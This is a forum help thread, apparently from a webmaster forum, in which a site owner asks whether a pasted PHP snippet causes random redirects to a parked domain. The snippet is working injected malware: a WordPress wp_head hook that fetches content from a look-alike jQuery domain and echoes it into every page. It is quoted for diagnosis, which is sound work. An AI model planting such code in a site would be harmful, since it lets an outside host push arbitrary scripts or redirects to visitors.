Site got hacked please help to confirm
My site is redirecting at random times to a parked domain.
After doing some reseach I found out that this code might be doing it:
function wp__head() { if(function_exists('curl_init')) { $url = "http://www.jqury.net/?1"; $ch = curl_init(); $timeout = 10; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } } add_action('wp_head', 'wp__head');
Can some one tell me what this code does and if this the root of the problem.
Thank you
Are you using WordPress? Have you tried qSandbox yet?
www.OFFLINEMARKETINGFORUM.com (Register Now)
Robin